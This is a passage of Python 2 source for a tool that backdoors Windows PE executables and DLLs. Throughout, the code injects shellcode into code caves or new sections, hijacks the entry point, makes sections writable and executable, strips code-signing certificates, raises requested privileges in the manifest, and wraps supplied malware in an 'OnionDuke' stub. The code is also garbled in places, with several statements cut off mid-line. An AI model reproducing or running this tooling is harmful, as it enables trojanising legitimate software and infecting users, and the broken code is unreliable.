VERBOSE=False, SUPPORT_CHECK=False,\n SHELL_LEN=300, FIND_CAVES=False, SUFFIX=\".old\", DELETE_ORIGINAL=False, CAVE_MINER=False,\n IMAGE_TYPE=\"ALL\", ZERO_CERT=True, RUNAS_ADMIN=False, PATCH_DLL=True, PATCH_METHOD=\"MANUAL\",\n SUPPLIED_BINARY=None, XP_MODE=False, IDT_IN_CAVE=False, CODE_SIGN=False, PREPROCESS=False):\n self.FILE = FILE\n self.OUTPUT = OUTPUT\n self.SHELL = SHELL\n self.NSECTION = NSECTION\n self.DISK_OFFSET = DISK_OFFSET\n self.ADD_SECTION = ADD_SECTION\n self.CAVE_JUMPING = CAVE_JUMPING\n self.PORT = PORT\n self.HOST = HOST\n self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE\n self.INJECTOR = INJECTOR\n self.CHANGE_ACCESS = CHANGE_ACCESS\n self.VERBOSE = VERBOSE\n self.SUPPORT_CHECK = SUPPORT_CHECK\n self.SHELL_LEN = SHELL_LEN\n self.FIND_CAVES = FIND_CAVES\n self.SUFFIX = SUFFIX\n self.DELETE_ORIGINAL = DELETE_ORIGINAL\n self.CAVE_MINER = CAVE_MINER\n self.IMAGE_TYPE = IMAGE_TYPE\n self.ZERO_CERT = ZERO_CERT\n self.RUNAS_ADMIN = RUNAS_ADMIN\n self.PATCH_DLL = PATCH_DLL\n self.PATCH_METHOD = PATCH_METHOD.lower()\n self.XP_MODE = XP_MODE\n self.flItms = {}\n self.iat_cave_loc = 0\n self.SUPPLIED_BINARY = SUPPLIED_BINARY\n self.CODE_SIGN = CODE_SIGN\n self.flItms['IDT_IN_CAVE'] = IDT_IN_CAVE\n self.flItms['curdir'] = os.path.dirname(__file__)\n self.PREPROCESS = PREPROCESS\n self.ORIGINAL_FILE = self.FILE\n self.tmp_file = None\n self.keep_temp = False\n if self.PATCH_METHOD.lower() == 'automatic':\n self.CAVE_JUMPING = True\n self.ADD_SECTION = False\n if self.PATCH_METHOD.lower() == 'replace':\n self.PATCH_DLL = False\n\n def run_this(self):\n if self.INJECTOR is True:\n self.injector()\n sys.exit()\n if self.FIND_CAVES is True:\n issupported = self.support_check()\n if issupported is False:\n print self.FILE, \"is not supported.\"\n return False\n print (\"Looking for caves with a size of %s bytes (measured as an integer\" % self.SHELL_LEN)\n self.find_all_caves()\n return True\n\n if self.SUPPORT_CHECK is True:\n if not self.FILE:\n print \"You must provide a file to see if it is supported (-f)\"\n return False\n try:\n is_supported = self.support_check()\n except Exception, e:\n is_supported = False\n print 'Exception:', str(e), '%s' % self.FILE\n if is_supported is False:\n print \"%s is not supported.\" % self.FILE\n return False\n else:\n print \"%s is supported.\" % self.FILE\n return True\n\n self.output_options()\n return self.patch_pe()\n\n def gather_file_info_win(self):\n \"\"\"\n Gathers necessary PE header information to backdoor\n a file and returns a dict of file information called flItms.\n Takes a open file handle of self.binary\n \"\"\"\n\n self.binary.seek(int('3C', 16))\n print \"[*] Gathering file info\"\n self.flItms['filename'] = self.FILE\n self.flItms['buffer'] = 0\n self.flItms['JMPtoCodeAddress'] = 0\n self.flItms['LocOfEntryinCode_Offset'] = self.DISK_OFFSET\n self.flItms['dis_frm_pehdrs_sectble'] = 248\n self.flItms['pe_header_location'] = struct.unpack('= section[2]:\n #go to exact export directory location\n self.flItms['LoadConfigTablePresent'] = True\n self.binary.seek((self.flItms['LoadConfigTableRVA'] - section[2]) + section[4])\n self.flItms['LoadConfigTable_OFFSET'] = - section[2] + section[4]\n break\n\n if self.flItms['LoadConfigTablePresent'] is True:\n \n # This is for 32bit... need x64\n self.flItms['LoadConfigDirectory_Size'] = struct.unpack(' 0x70:\n self.flItms['LCD_CFG_address_CF_PTR_LOC'] = self.binary.tell()\n self.flItms['LCD_CFG_address_CF_PTR'] = struct.unpack(' 0x48:\n self.flItms['LCD_CFG_address_CF_PTR_LOC'] = self.binary.tell()\n self.flItms['LCD_CFG_address_CF_PTR'] = struct.unpack(' 2:\n print \"!\" * 50\n print \"\\t[!] Make sure there are no '.' in your preprocessor filename:\", afile\n print \"!\" * 50\n \n return False\n \n name = \"preprocessor.\" + afile.strip(\".py\")\n \n preprocessor_name = __import__( name, fromlist=[''])\n \n if preprocessor_name.enabled is True:\n print \"[*] Executing preprocessor:\", afile.strip(\".py\")\n else:\n continue\n \n if preprocessor_name.file_format.lower() in ['pe', 'all']: #'elf', 'macho', 'mach-o']:\n print '[*] Running preprocessor', afile.strip(\".py\"), \"against\", preprocessor_name.file_format, \"formats\"\n else:\n continue\n \n\n # Allow if any processors to keep it \n if self.keep_temp is False:\n self.keep_temp = preprocessor_name.keep_temp\n \n # create tempfile here always\n \n if self.tmp_file == None:\n self.tmp_file = tempfile.NamedTemporaryFile()\n self.tmp_file.write(open(self.FILE, 'rb').read())\n self.tmp_file.seek(0)\n print \"[*] Creating temp file:\", self.tmp_file.name\n else:\n print \"[*] Using existing tempfile from prior preprocessor\"\n \n load_name = name + \".preprocessor\"\n preproc = self.loadthis(load_name)\n \n m = preproc(self)\n \n print \"=\" * 50\n \n # execute preprocessor\n result = m.run()\n \n if result is False:\n print \"[!] Preprocessor Failure :(\"\n\n print \"=\" * 50\n \n # After running push it to BDF.\n \n self.FILE = self.tmp_file.name[:]\n \n # check for support after each modification\n if preprocessor_name.recheck_support is True:\n issupported = self.support_check()\n if issupported is False:\n print self.FILE, \"is not supported.\"\n return False \n\n def check_apis(self, aFile):\n ####################################\n #### Parse imports via pefile ######\n\n #make this option only if a IAT based shellcode is selected\n if 'apis_needed' in self.flItms:\n print \"[*] Loading PE in pefile\"\n pe = pefile.PE(aFile, fast_load=True)\n print \"[*] Parsing data directories\"\n pe.parse_data_directories()\n self.flItms['neededAPIs'] = set()\n try:\n for api in self.flItms['apis_needed']:\n apiFound = False\n for entry in pe.DIRECTORY_ENTRY_IMPORT:\n for imp in entry.imports:\n if imp.name is None:\n continue\n if imp.name.lower() == api.lower():\n self.flItms[api + 'Offset'] = imp.address - pe.OPTIONAL_HEADER.ImageBase\n self.flItms[api] = imp.address\n apiFound = True\n if apiFound is False:\n self.flItms['neededAPIs'].add(api)\n\n except Exception as e:\n print \"Exception:\", str(e)\n self.flItms['ImportTableFileOffset'] = pe.get_physical_by_rva(self.flItms['ImportTableRVA'])\n\n #####################################\n\n def print_flItms(self, flItms):\n\n keys = self.flItms.keys()\n keys.sort()\n print \"*\" * 25, \"BEGIN flItms\", \"*\" * 25\n for item in keys:\n if type(self.flItms[item]) == int:\n print item + ':', hex(self.flItms[item])\n elif item == 'Sections':\n print \"-\" * 50\n for section in self.flItms['Sections']:\n print \"Section Name\", section[0]\n print \"Virtual Size\", hex(section[1])\n print \"Virtual Address\", hex(section[2])\n print \"SizeOfRawData\", hex(section[3])\n print \"PointerToRawData\", hex(section[4])\n print \"PointerToRelocations\", hex(section[5])\n print \"PointerToLinenumbers\", hex(section[6])\n print \"NumberOfRelocations\", hex(section[7])\n print \"NumberOfLinenumbers\", hex(section[8])\n print \"SectionFlags\", hex(section[9])\n print \"-\" * 50\n else:\n print item + ':', self.flItms[item]\n print \"*\" * 25, \"END flItms\", \"*\" * 25\n\n def change_section_flags(self, section):\n \"\"\"\n Changes the user selected section to RWE for successful execution\n \"\"\"\n print \"[*] Changing flags for section:\", section\n self.flItms['newSectionFlags'] = int('e00000e0', 16)\n self.binary.seek(self.flItms['BeginSections'], 0)\n for _ in range(self.flItms['NumberOfSections']):\n sec_name = self.binary.read(8)\n if section in sec_name:\n self.binary.seek(28, 1)\n self.binary.write(struct.pack(' self.flItms['SizeOfImage']:\n print \"[!] File has extra data after last section, cannot add new section\"\n return False\n self.binary.seek(self.flItms['pe_header_location'] + 6, 0)\n self.binary.write(struct.pack(' 144:\n self.binary.write(struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2))\n else:\n self.binary.write(struct.pack('!B', nop) * (self.flItms['VirtualSize']))\n self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] +\n self.flItms['ImageBase'])\n self.flItms['buffer'] = int('200', 16) # bytes\n self.flItms['JMPtoCodeAddress'] = (self.flItms['CodeCaveVirtualAddress'] -\n self.flItms['PatchLocation'] -\n self.flItms['ImageBase'] - 5 +\n self.flItms['buffer'])\n\n def find_all_caves(self):\n \"\"\"\n This function finds all the codecaves in a inputed file.\n Prints results to screen\n \"\"\"\n\n print \"[*] Looking for caves\"\n SIZE_CAVE_TO_FIND = self.SHELL_LEN\n BeginCave = 0\n Tracking = 0\n count = 1\n caveTracker = []\n caveSpecs = []\n self.binary = open(self.FILE, 'r+b')\n self.binary.seek(0)\n # Slow way\n while True:\n try:\n s = struct.unpack(\"= SIZE_CAVE_TO_FIND:\n caveSpecs.append(BeginCave)\n caveSpecs.append(Tracking)\n caveTracker.append(caveSpecs)\n count = 1\n caveSpecs = []\n\n Tracking += 1\n\n for caves in caveTracker:\n for section in self.flItms['Sections']:\n sectionFound = False\n if caves[0] >= section[4] and caves[1] <= (section[3] + section[4]) and \\\n caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:\n print \"We have a winner:\", section[0]\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print 'SizeOfRawData', hex(section[3])\n print 'PointerToRawData', hex(section[4])\n print 'End of Raw Data:', hex(section[3] + section[4])\n print '*' * 50\n sectionFound = True\n break\n if sectionFound is False:\n try:\n print \"No section\"\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print '*' * 50\n except Exception as e:\n print str(e)\n print \"[*] Total of %s caves found\" % len(caveTracker)\n self.binary.close()\n\n def find_cave(self):\n \"\"\"This function finds all code caves, allowing the user\n to pick the cave for injecting shellcode.\"\"\"\n\n self.flItms['len_allshells'] = ()\n if self.flItms['cave_jumping'] is True:\n for item in self.flItms['allshells']:\n self.flItms['len_allshells'] += (len(item), )\n # TODO: ADD Stub len for zeroing memory here\n self.flItms['len_allshells'] += (len(self.flItms['resumeExe']), )\n SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshells'])[0]\n else:\n SIZE_CAVE_TO_FIND = self.flItms['shellcode_length']\n self.flItms['len_allshells'] = (self.flItms['shellcode_length'], )\n\n print \"[*] Looking for caves that will fit the minimum \"\\\n \"shellcode length of %s\" % SIZE_CAVE_TO_FIND\n print \"[*] All caves lengths: \", ', '.join([str(i) for i in self.flItms['len_allshells']])\n Tracking = 0\n count = 1\n #BeginCave=0\n caveTracker = []\n caveSpecs = []\n self.binary.seek(0)\n\n if self.PATCH_METHOD == 'automatic':\n # This is so much faster than the other method\n for k, item in enumerate(sorted(self.flItms['len_allshells'])):\n cave_buffer = \"\\x00\" * (item + 8)\n p = re.compile(cave_buffer)\n self.binary.seek(0)\n for m in p.finditer(self.binary.read()):\n caveSpecs.append(m.start() + 4)\n caveSpecs.append(m.start() + item + 8)\n caveTracker.append(caveSpecs)\n caveSpecs = []\n self.binary.seek(0)\n\n else:\n # Manual Slow method\n while True:\n # TODO: ADD in Fast Mode\n # Jump to near end of .text section and start parsing there.\n try:\n s = struct.unpack(\"= SIZE_CAVE_TO_FIND:\n #Add a four byte buffer between objects\n caveSpecs.append(BeginCave + 4)\n caveSpecs.append(Tracking - 4)\n caveTracker.append(caveSpecs)\n count = 1\n caveSpecs = []\n\n Tracking += 1\n\n pickACave = {}\n for i, caves in enumerate(caveTracker):\n i += 1\n for section in self.flItms['Sections']:\n sectionFound = False\n try:\n if caves[0] >= section[4] and \\\n caves[1] <= (section[3] + section[4]) and \\\n caves[1] - caves[0] >= SIZE_CAVE_TO_FIND:\n if self.VERBOSE is True:\n print \"Inserting code in this section:\", section[0]\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print 'SizeOfRawData', hex(section[3])\n print 'PointerToRawData', hex(section[4])\n print 'End of Raw Data:', hex(section[3] + section[4])\n print '*' * 50\n JMPtoCodeAddress = (section[2] + caves[0] - section[4] -\n 5 - self.flItms['PatchLocation'])\n\n sectionFound = True\n pickACave[i] = [section[0], hex(caves[0]), hex(caves[1]),\n caves[1] - caves[0], hex(section[4]),\n hex(section[3] + section[4]), JMPtoCodeAddress,\n section[1], section[2]]\n break\n except:\n print \"-End of File Found..\"\n break\n if sectionFound is False:\n if self.VERBOSE is True:\n print \"No section\"\n print '->Begin Cave', hex(caves[0])\n print '->End of Cave', hex(caves[1])\n print 'Size of Cave (int)', caves[1] - caves[0]\n print '*' * 50\n\n JMPtoCodeAddress = (section[2] + caves[0] - section[4] -\n 5 - self.flItms['PatchLocation'])\n try:\n pickACave[i] = [None, hex(caves[0]), hex(caves[1]),\n caves[1] - caves[0], None,\n None, JMPtoCodeAddress]\n except:\n print \"EOF\"\n\n CavesPicked = {}\n\n if self.PATCH_METHOD.lower() == 'automatic':\n print \"[*] Attempting PE File Automatic Patching\"\n availableCaves = {}\n # Take away the rsrc restriction, solved\n for caveNumber, caveValues in pickACave.iteritems():\n # caveValues[0], Begin Cave, [1] End of Cave\n # stay clear of iat_cave_loc, will be zero if never touched\n if self.iat_cave_loc != 0:\n if caveValues[0] <= self.iat_cave_loc[0] <= caveValues[1]:\n continue\n # stay clear of iat_cave_loc ending\n if caveValues[0] <= self.iat_cave_loc[1] <= caveValues[1]:\n continue\n if caveValues[0] is None:\n continue\n elif caveValues[3] >= 50:\n availableCaves[caveNumber] = caveValues[3]\n\n #serialize caves:\n\n payloadDict = {}\n for k, item in enumerate(self.flItms['len_allshells']):\n payloadDict[k] = item\n\n # choose other Caves first.\n\n while True:\n # for tracking sections to change perms on\n trackSectionName = set()\n\n # other caves first\n for ref in sorted(payloadDict.items(), key=operator.itemgetter(1), reverse=True):\n # largest first\n # now drop the caves that are big enough in a set\n # and randomly select from it\n _tempCaves = {}\n if _tempCaves == {}:\n # nothing? get out\n for refnum, caveSize in availableCaves.iteritems():\n if caveSize >= ref[1]:\n _tempCaves[refnum] = caveSize\n if _tempCaves == {}:\n break\n selection = choice(_tempCaves.keys())\n print '[!] Selected:', str(selection) + \":\", (\"Section Name: {0}; Cave begin: {1} End: {2}; \"\n \"Cave Size: {3}; Payload Size: {4}\".format(pickACave[selection][0], pickACave[selection][1],\n pickACave[selection][2], pickACave[selection][3], ref[1]\n ))\n trackSectionName.add(pickACave[selection][0])\n #remove the selection from the dict\n popSet = set()\n for cave_ref, cave_vals in availableCaves.iteritems():\n if pickACave[cave_ref][1] <= pickACave[selection][1] <= pickACave[cave_ref][2] or \\\n pickACave[cave_ref][1] <= pickACave[selection][2] <= pickACave[cave_ref][2] or \\\n pickACave[selection][1] <= pickACave[cave_ref][1] <= pickACave[selection][2] or \\\n pickACave[selection][1] <= pickACave[cave_ref][2] <= pickACave[selection][2]:\n popSet.add(cave_ref)\n for item in popSet:\n availableCaves.pop(item) \n if selection in availableCaves.keys():\n availableCaves.pop(selection)\n CavesPicked[ref[0]] = pickACave[selection]\n break\n\n if len(CavesPicked) != len(self.flItms['len_allshells']):\n print \"[!] Did not find suitable caves - trying next method\"\n if self.flItms['cave_jumping'] is True:\n return 'single'\n else:\n return 'append'\n\n if self.CHANGE_ACCESS is True:\n for cave in trackSectionName:\n self.change_section_flags(cave)\n\n elif self.PATCH_METHOD.lower() == 'manual':\n print (\"############################################################\\n\"\n \"The following caves can be used to inject code and possibly\\n\"\n \"continue execution.\\n\"\n \"**Don't like what you see? Use jump, single, append, or ignore.**\\n\"\n \"############################################################\")\n\n for k, item in enumerate(self.flItms['len_allshells']):\n print \"[*] Cave {0} length as int: {1}\".format(k + 1, item)\n print \"[*] Available caves: \"\n\n if pickACave == {}:\n print \"[!!!!] No caves available! Use 'j' for cave jumping or\"\n print \"[!!!!] 'i' or 'q' for ignore.\"\n for ref, details in pickACave.iteritems():\n if details[3] >= item:\n print str(ref) + \".\", (\"Section Name: {0}; Section Begin: {4} \"\n \"End: {5}; Cave begin: {1} End: {2}; \"\n \"Cave Size: {3}\".format(details[0], details[1], details[2],\n details[3], details[4], details[5],\n details[6]))\n\n while True:\n try:\n self.CAVE_MINER_TRACKER\n except:\n self.CAVE_MINER_TRACKER = 0\n\n print \"*\" * 50\n\n selection = raw_input(\"[!] Enter your selection: \")\n try:\n selection = int(selection)\n\n print \"[!] Using selection: %s\" % selection\n try:\n if self.CHANGE_ACCESS is True:\n if pickACave[selection][0] is not None:\n self.change_section_flags(pickACave[selection][0])\n CavesPicked[k] = pickACave[selection]\n break\n except:\n print \"[!!!!] User selection beyond the bounds of available caves.\"\n print \"[!!!!] Try a number or the following commands:\"\n print \"[!!!!] append or a, jump or j, ignore or i, single or s\"\n print \"[!!!!] TRY AGAIN.\"\n continue\n except:\n pass\n breakOutValues = ['append', 'jump', 'single', 'ignore', 'a', 'j', 's', 'i', 'q']\n if selection.lower() in breakOutValues:\n return selection\n else:\n print \"[!] Invalid Patching Method\"\n return None\n return CavesPicked\n\n def runas_admin(self):\n \"\"\"\n This module jumps to .rsrc section and checks for\n the following string: requestedExecutionLevel level=\"highestAvailable\"\n\n \"\"\"\n #g = open(flItms['filename'], \"rb\")\n result = False\n print \"[*] Checking Execution Level\"\n if 'rsrcPointerToRawData' in self.flItms:\n search_lngth = len('requestedExecutionLevel level=\"highestAvailable\"')\n data_read = 0\n while data_read < (self.flItms['rsrcPointerToRawData'] +\n self.flItms['rsrcSizeRawData'] -\n self.flItms['manifestLOC']):\n self.binary.seek(self.flItms['manifestLOC'] + data_read, 0)\n temp_data = self.binary.read(search_lngth)\n if temp_data == 'requestedExecutionLevel level=\"highestAvailable\"':\n result = True\n break\n data_read += 1\n\n if result is True:\n print \"[*] %s must run with highest available privileges\" % self.FILE\n else:\n print \"[*] %s does not require highest available privileges\" % self.FILE\n\n return result\n\n def patch_runlevel(self):\n \"\"\"\n This module jumps to .rsrc section and checks for\n the following string: requestedExecutionLevel level=\"highestAvailable\"\n and if not there patches it in\n\n \"\"\"\n #g = open(flItms['filename'], \"rb\")\n result = False\n print \"[*] Checking execution Level\"\n if 'rsrcPointerToRawData' in self.flItms:\n search_lngth = len('requestedExecutionLevel')\n data_read = 0\n found_exeLevel = True\n while data_read < (self.flItms['rsrcPointerToRawData'] +\n self.flItms['rsrcSizeRawData'] -\n self.flItms['manifestLOC']):\n self.binary.seek(self.flItms['manifestLOC'] + data_read, 0)\n temp_data = self.binary.read(search_lngth)\n if temp_data == 'requestedExecutionLevel':\n found_exeLevel = True\n search_lngth = len('level=')\n if self.binary.read(search_lngth + 1) == ' level=':\n if self.binary.read(len(\"\\\"highestAvailable\\\"\")) == \"\\\"highestAvailable\\\"\":\n print \"[*] File already set to highestAvailable execution level\"\n break\n else:\n print \"[!] Patching 'highestAvailable' in PE Manifest\"\n self.binary.seek(self.flItms['manifestLOC'] + data_read + len(temp_data) + search_lngth + 1, 0)\n self.binary.write(\"\\\"highestAvailable\\\"\")\n result = True\n while True:\n reading_position = self.binary.tell()\n if self.binary.read(1) != \">\": # end of the xml block\n self.binary.seek(reading_position)\n self.binary.write(\"\\x20\")\n else:\n return True\n break\n if temp_data == 'level=' and found_exeLevel is True:\n #this is what I call a spread out manifest\n if self.binary.read(len(\"\\\"highestAvailable\\\"\")) == \"\\\"highestAvailable\\\"\":\n print \"[*] File already set to highestAvailable execution level\"\n break\n else:\n print \"[!] Patching 'highestAvailable' in PE Manifest\"\n self.binary.seek(self.flItms['manifestLOC'] + data_read + len(temp_data), 0)\n self.binary.write(\"\\\"highestAvailable\\\"\")\n result = True\n\n data_read += 1\n\n return result\n\n def parse_rsrc(self):\n '''\n This parses a .rsrc section for quick modification\n '''\n self.rsrc_structure = {}\n\n def parse_header():\n return {\"Characteristics\": struct.unpack(\" 0 and self.flItms['DllCharacteristics'] > 0 \\\n and self.PATCH_DLL is False:\n print \"[!] DLL patching not enabled\"\n return False\n\n if self.flItms['Magic'] == int('20B', 16) and (self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x64'):\n #if self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x64':\n targetFile.pe64_entry_instr()\n elif self.flItms['Magic'] == int('10b', 16) and (self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x86'):\n #if self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x32':\n targetFile.pe32_entry_instr()\n else:\n self.flItms['supported'] = False\n\n if self.flItms['BoundImportSize'] != 0:\n print \"[!] No support for Bound Imports at this time\"\n return False\n\n if self.RUNAS_ADMIN is True and self.SUPPORT_CHECK is True:\n self.parse_rsrc()\n if 'manifestLOC' in self.flItms:\n self.flItms['runas_admin'] = self.runas_admin()\n else:\n print '[!] No manifest in rsrc'\n\n if self.VERBOSE is True:\n self.print_flItms(self.flItms)\n\n if self.flItms['supported'] is False:\n return False\n\n def onionduke(self):\n\n if not any(chiptype not in \"armv\" for chiptype in subprocess.check_output([\"uname\", \"-a\"]).lower()):\n print \"[!] Only x86 and x86_64 chipset is supported for OnionDuke due to aPLib support\"\n return False\n if 'rsrcSectionName' not in self.flItms:\n print \"[!] Missing rsrc section, not patching bianry\"\n return False\n\n if not self.SUPPLIED_BINARY:\n print \"[!] No malware provided\"\n return False\n\n od_stub = cStringIO.StringIO()\n\n stubPath = os.path.dirname(os.path.abspath(onionduke.__file__))\n\n with open(self.FILE, \"r+b\") as self.binary:\n #check if OnionDuke Stub\n self.binary.seek(0x5C0, 0)\n if self.binary.read(11) == \"\\x57\\xE8\\xE4\\x10\\x00\\x00\\x8B\\x15\\x2C\\x20\\x41\":\n print \"[!!!!] Attempting to Patch an OnionDuke wrapped binary\"\n print \"[*] Compressing\", self.SUPPLIED_BINARY, \"with aPLib\"\n compressedbin = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(12))\n subprocess.check_output(['appack', \"c\", self.SUPPLIED_BINARY, compressedbin])\n # key 0x1FE37D3E\n self.binary.seek(0x413, 0)\n xor_key1 = struct.unpack(\" 0 and self.flItms['DllCharacteristics'] > 0:\n print \"[!] User supplied malware is a DLL!\"\n print \"[*] Patching OnionDuke Stub for DLL usage\"\n self.binary.seek(0)\n #patch for dll\n od_stub.seek(0xfd38, 0)\n od_stub.write(\"\\x01\\x00\\x00\\x00\")\n\n #read within a export location for speed.\n for section in reversed(self.flItms['Sections']):\n if self.flItms['ExportTableRVA'] >= section[2]:\n #go to exact export directory location\n self.binary.seek((self.flItms['ExportTableRVA'] - section[2]) + section[4])\n break\n\n #read the Image Export Directory for printMessage\n if 'printMessage' not in self.binary.read(self.flItms['ExportTableSize']):\n #use ordinal #1\n od_stub.seek(0xfd44, 0)\n od_stub.write(\"\\x01\\x00\\x00\\x00\")\n else:\n print \"[*] User supplied malware is not a DLL\"\n\n # write to file\n od_stub.seek(0)\n open(self.OUTPUT, 'w').write(od_stub.read())\n with open(self.OUTPUT, 'r+b') as self.binary:\n self.gather_file_info_win()\n if self.RUNAS_ADMIN is True:\n if self.parse_rsrc() is True:\n patch_result = self.patch_runlevel()\n if patch_result is False:\n print \"[!] Could not patch higher run level in manifest, requestedExecutionLevel did not exist\"\n else:\n print '[!] No manifest in rsrc'\n\n return True\n\n def remove_signing(self):\n \"\"\"\n Zero cert table and truncate binary\n \"\"\"\n if self.ZERO_CERT is True and self.flItms['CertLOC'] != 0:\n with open(self.flItms['backdoorfile'], \"r+b\") as self.binary:\n self.gather_file_info_win()\n print \"[*] Overwriting certificate table pointer\"\n self.binary.seek(-self.flItms['CertSize'], os.SEEK_END)\n self.binary.truncate()\n self.binary.seek(self.flItms['CertTableLOC'], 0)\n self.binary.write(\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\")\n\n def patch_pe(self):\n\n \"\"\"\n This function operates the sequence of all involved\n functions to perform the binary patching.\n \"\"\"\n print \"[*] In the backdoor module\"\n # TODO: Take out Injector\n\n if self.INJECTOR is False:\n os_name = os.name\n if not os.path.exists(\"backdoored\"):\n os.makedirs(\"backdoored\")\n if os_name == 'nt':\n self.OUTPUT = \"backdoored\\\\\" + self.OUTPUT\n else:\n self.OUTPUT = \"backdoored/\" + self.OUTPUT\n\n if self.PATCH_METHOD.lower() == 'replace':\n print \"[*] Using replace method, copying supplied binary\"\n self.flItms['backdoorfile'] = self.SUPPLIED_BINARY\n shutil.copy2(self.SUPPLIED_BINARY, self.OUTPUT)\n return True\n\n issupported = self.support_check()\n\n if issupported is False:\n return None\n\n if self.PREPROCESS is True:\n self.preprocess()\n \n if self.PATCH_METHOD == 'onionduke':\n print \"[!] Attempting OnionDuke patching\"\n # move OS check here.\n result = self.onionduke()\n if result:\n return result\n else:\n print \"[!] OnionDuke patching failed\"\n return result\n\n self.flItms['NewCodeCave'] = self.ADD_SECTION\n self.flItms['cave_jumping'] = self.CAVE_JUMPING\n self.flItms['CavesPicked'] = {}\n self.flItms['LastCaveAddress'] = 0\n self.flItms['stager'] = False\n self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE\n self.flItms['CavesToFix'] = {}\n self.flItms['XP_MODE'] = self.XP_MODE\n\n #pulling apis\n if self.check_shells() is False:\n return False\n\n #Creating file to backdoor\n self.flItms['backdoorfile'] = self.OUTPUT\n shutil.copy2(self.FILE, self.flItms['backdoorfile'])\n # Delete tempfile here\n \n #Removing the cert is better early on\n self.remove_signing()\n\n if 'apis_needed' in self.flItms:\n self.check_apis(self.FILE)\n iat_result = ''\n if \"UPX\".lower() in self.flItms['textSectionName'].lower():\n print \"[!] Cannot patch a new IAT into a UPX binary at this time.\"\n return False\n if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is True:\n iat_result = self.patch_in_new_iat()\n print \"[*] Checking updated IAT for thunks\"\n self.check_apis(self.flItms['backdoorfile'])\n\n # if this IDT_IN_CAVE is true and it did not work... reset and go normal route\n if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is True:\n print \"[!] Resetting the file\"\n shutil.copy2(self.FILE, self.flItms['backdoorfile'])\n self.remove_signing()\n iat_result = self.create_new_iat()\n if iat_result is False:\n return False\n print \"[*] Checking updated IAT for thunks\"\n self.check_apis(self.flItms['backdoorfile'])\n\n if self.flItms['neededAPIs'] != set() and self.flItms['IDT_IN_CAVE'] is False:\n #reset the file\n iat_result = self.create_new_iat()\n if iat_result is False:\n return False\n print \"[*] Checking updated IAT for thunks\"\n self.check_apis(self.flItms['backdoorfile'])\n\n if self.set_shells() is False or self.flItms['allshells'] is False:\n print \"[!] Could not set selected shellcode!\"\n return False\n\n self.binary = open(self.flItms['backdoorfile'], \"r+b\")\n\n if self.RUNAS_ADMIN is True:\n if self.parse_rsrc() is True:\n patch_result = self.patch_runlevel()\n if patch_result is False:\n print \"[!] Could not patch higher run level in manifest, requestedExecutionLevel did not exist\"\n else:\n print '[!] No manifest in rsrc'\n\n #reserve space for shellcode\n targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)\n\n if self.flItms['Magic'] == int('20B', 16):\n _, self.flItms['resumeExe'] = targetFile.resume_execution_64()\n else:\n _, self.flItms['resumeExe'] = targetFile.resume_execution_32()\n\n shellcode_length = len(self.flItms['shellcode'])\n\n self.flItms['shellcode_length'] = shellcode_length + len(self.flItms['resumeExe'])\n\n caves_set = False\n\n # This can be improved. TODO: add parsed caves to a tracking dict\n # for \"single\": [caves] and \"jump\": [caves] for that parsing\n # does not have to happen over and over again.\n # Also think about removing None from the equation?\n while caves_set is False and self.flItms['NewCodeCave'] is False:\n self.flItms['CavesPicked'] = self.find_cave()\n if type(self.flItms['CavesPicked']) == str:\n if self.flItms['CavesPicked'].lower() in ['append', 'a']:\n self.flItms['JMPtoCodeAddress'] = None\n self.flItms['CodeCaveLOC'] = 0\n self.flItms['cave_jumping'] = False\n self.flItms['CavesPicked'] = {}\n print \"[!] Appending new section for payload\"\n self.set_shells()\n caves_set = True\n elif self.flItms['CavesPicked'].lower() in ['jump', 'j']:\n self.flItms['JMPtoCodeAddress'] = None\n self.flItms['CodeCaveLOC'] = 0\n self.flItms['cave_jumping'] = True\n self.flItms['CavesPicked'] = {}\n print \"-resetting shells\"\n self.set_shells()\n continue\n elif self.flItms['CavesPicked'].lower() in ['single', 's']:\n self.flItms['JMPtoCodeAddress'] = None\n self.flItms['CodeCaveLOC'] = 0\n self.flItms['cave_jumping'] = False\n self.flItms['CavesPicked'] = {}\n print \"-resetting shells\"\n self.set_shells()\n continue\n elif self.flItms['CavesPicked'].lower() in ['ignore', 'i', 'q']:\n #Let's say we don't want to patch a binary\n return None\n elif self.flItms['CavesPicked'] is None:\n return None\n else:\n self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6]\n caves_set = True\n #else:\n # caves_set = True\n\n # Assigning code caves to fix\n if self.flItms['CavesPicked'] != {}:\n for cave, values in self.flItms['CavesPicked'].iteritems():\n self.flItms['CavesToFix'][cave] = [values[6] + 5 + self.flItms['PatchLocation'], self.flItms['len_allshells'][cave]]\n\n #If no cave found, continue to create one.\n if self.flItms['JMPtoCodeAddress'] is None or self.flItms['NewCodeCave'] is True:\n create_cave_result = self.create_code_cave()\n if create_cave_result is False:\n return False\n self.flItms['NewCodeCave'] = True\n print \"- Adding a new section to the exe/dll for shellcode injection\"\n else:\n self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][len(self.flItms['CavesPicked']) - 1][6]\n\n #Patch the entry point\n targetFile = intelCore(self.flItms, self.binary, self.VERBOSE)\n targetFile.patch_initial_instructions()\n\n # recalling resumeExe\n if self.flItms['Magic'] == int('20B', 16):\n ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_64()\n else:\n 